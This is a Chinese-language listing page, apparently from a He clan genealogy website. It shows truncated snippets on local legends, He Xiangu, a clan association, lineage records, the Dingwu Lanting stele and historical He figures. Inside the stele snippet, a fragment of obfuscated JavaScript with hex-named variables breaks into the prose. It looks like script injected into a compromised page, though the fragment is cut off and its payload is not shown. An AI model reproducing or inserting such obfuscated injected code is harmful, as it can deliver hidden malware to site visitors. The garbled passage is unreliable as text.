化州在古梁代曾置石龙郡，郡府就在现在的化州，故化州又名石龙。石龙这个得名有一段神奇的传说。 古时橘州大地的鉴江、罗江上游都是原始森林，高耸云天，涵奍林遮天盖地，因而江水滔滔，波浪滚滚，江水四溢，那时的鉴江、罗江又宽又大。相传，在鉴江、罗江汇合处的河湾里有一条龙。这龙小时还比较温顺，每天拣些小鱼小虾之类的食物充饥，可是，随着它的一天天地长大，胃口越来越大。鉴江河的鱼被它吃绝了，罗江的鱼虾也没有了；鉴江、罗江没有它可吃的东西了，它跑到岸上吃人畜。 当时的州地是南蛮之地，这里住的是一 ......[点击阅读详情]

脍炙人口的神话传说“八仙过海”，家喻户晓，尤其是何仙姑，“何家有女长成仙”，让何姓人倍感亲切。但近年来，却有“何仙姑是神话人物，还是真有其人”的“争论”。有的人认为，何仙姑真有其人，后才得道成仙，并引经据典“考证”了何仙姑的籍贯和成仙地点。关于何仙姑“籍贯”，有“广东增城”说、“湖南道州”说、“福建武平”说，还有“浙江龙泉”和“广西”说，等。有的何氏家谱还把何仙姑记载为该族先人。最近，笔者在收集何姓资料时，发现何仙姑的传说还有广东化州版本。按此传说，何仙姑又成了化州人。现将化州两个版本的《何仙姑的 ......[点击阅读详情]

为了加强与世界各地何氏联谊组织的联系与沟通，以弘扬祖德，传承文化，教化后人，广东省化州市何氏鲤化祖后裔，于2004年发起成立了“化州市鲤化祖何氏 宗亲文化联谊会”。鲤化祖从福建迁徙广东化州，经朝历代，繁衍生息，如今枝繁叶茂，播撒四方。鲤化祖墓经后裔精心修葺，虔诚供奉，香烛火旺。望各地吾祖子 孙后裔回乡恳亲，认祖归宗，共叙宗情。联系地址:广东省化州市下郭区石龙三路116号。 会 长 何   雄               宗亲团长 何玉凡                董事长兼会长 何玉通 手机 13702890302         电话 0668-73 ......[点击阅读详情]

庐江郡何氏受姓始祖世纪 通鉴云韩王安有二子长曰成次曰允秦灭六国后张良乘范增劝项梁立楚后时乃劝梁立韩公子横阳君成为韩王至汉元年项羽灭成允公虑祸及隐匿民间因手有何字纹悟音近韩乃改姓为何后世居庐江故以为郡省郡邑志载周皖国汉后屡改庐江郡宋乃改安庆府至后改潜改怀元析怀为潜我何氏先人发祥于皖遂成郡望。 一代 受姓始祖 允公 子子信 韩王安次子 始皇十二年公避祸匿民间 妣张氏 子二 隆 冉 冉早卒 公妣墓在扶风郡北五里甲山庚向 二代 允公之子 隆公 字子孟匿迹民间同父隐居循迹弗耀 妣田氏 子一 骘 墓在父侧 三 ......[点击阅读详情]

【东阳何氏定武兰亭碑】 国家一级文物。靖康之变，宋高宗驻跸维扬(扬州)，于兵荒马乱中失此碑。明宣德年间，东阳人何士英任两淮都转盐运使，时维扬石塔寺 僧浚井，发现此碑，碑缺一角，字有剥落。幸得朝廷宠贶，何士英获取此碑因名”东阳何氏定武兰亭碑”。何将此碑携回家珍藏，世代相传。中华人民共和国成立初 藏于东阳文管会，后藏浙江博物馆。 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388 ......[点击阅读详情]

有多少人知道自己祖辈生活的村庄谁是第一个迁入者(始迁祖)又有谁知道自己所在村庄拥有怎样的历史文化? 如今，婺城区罗店镇就有这么一个村子，正积极寻根溯源，希望将村庄的历史以及老祖宗留下来的瑰宝展示出来，既弘扬孝道，提升村庄文化品位，更重要的是，将华夏文明之精髓发扬光大，代代相传! 宋承务郎文定公何基画像 这个村子就是浙江省金华市罗店镇后溪河村!近日，记者走进该村，与两代书记——现任书记何宝平、前任书记何根林对话，感受到了该村历史悠久、积淀深厚的文化底蕴，见识了何氏宗祠“北山祠”的巨大变化。 ......[点击阅读详情]

关注灌阳官庄何氏，最早是在大学毕业后没两年，一次浏览母校长安大学的官网，蓦然发现何福照教授的名字赫然在列。当时既觉欣慰，更深感惋惜。抱憾自己孤陋寡闻、见识浅薄，整个大学期间竟然不知身畔有位从家乡走出来的中国公路桥梁学界的权威泰斗，以致无缘前往拜见，聆听教诲，一叙乡情。等我知晓个中渊源之时，先生已在2002年11月仙逝于古都长安矣。后来机缘所致，谋得一册1993年编定、1995年出版的《灌阳县志》，对何福照、何福煦“兄弟双留美、同胞两教授”的事迹有了进一步了解。再后来从网上读到文市社拐老乡“疯 ......[点击阅读详情]

何琦(302—384年)是工山镇八都何氏之始祖。祖籍庐州，出生于仕宦家庭。祖父何龛先后任晋后将军及大将军等职。父阜任淮南内史。堂弟何充官至大司徒，堂妹法倪贵为正宫。西秦南犯，随晋室东迁，家族乃定居射的山北麓，称何家汇。清末改都图制时，改称八都何。烽火岁月，又以“红色八都何”名噪大江南北。 何琦字万伦，十四岁丧父，啮哀参礼。寡母将他抚养成人后，家道中衰。曾做过宣州“郡主簿”“郎中”及“泾县令”等小官，皆在以禄奉母。老母逝世时，悲不欲生，竟至“泣血”，“杖而后起”。当母柩停家待葬，邻居忽起火灾，火借风 ......[点击阅读详情]

何仙姑，苦修积善才修练成仙， 是世传八仙中唯一的女性。原型为一个容貌非凡的女性，经常手持荷花。其身世有多种说法，其中在流传比较多的传说中，除广东增城说之外，还有广西、福建、浙江、安徽、湖南等多种说法，相传于北宋时期聚仙会时应铁山列入八仙。 何仙姑是世传八仙之一，旧时在汉族和部分少数民族中都广有信众。除了西安八仙宫有其塑像供奉外，又在泰山王母池等处享有香火。自唐宋以来，有关她的事迹记载为数极多，仅次于八仙中的吕洞宾。然而，这一尊在八仙传说中很富人情味的女仙的来历，却是一个迄今没 ......[点击阅读详情]

何晏（约193～249） 中国三国时玄学家。字平叔。南阳宛（今河南南阳）人。何晏是汉大将军何进之孙，曹操为司空时纳其母，并收养晏。晏少时聪慧过人，曹操宠若诸公子。何晏娶金乡公主为妻，赐爵为列侯。官拜散骑侍郎、侍中、吏部尚书，后为司马懿所杀。何晏主张儒道合同，引老以释儒。他在《道论》中说：“有之为有，恃‘无’以生；事而为事，由无以成。”“无”是他对《老子》和《论语》中“道”的理解。他认为天地万物都是“有所有”，而“道”则是“无所有”，是“不可体”的，所以无语、无名、无形、无声是“道之全”。何晏与王弼齐 ......[点击阅读详情]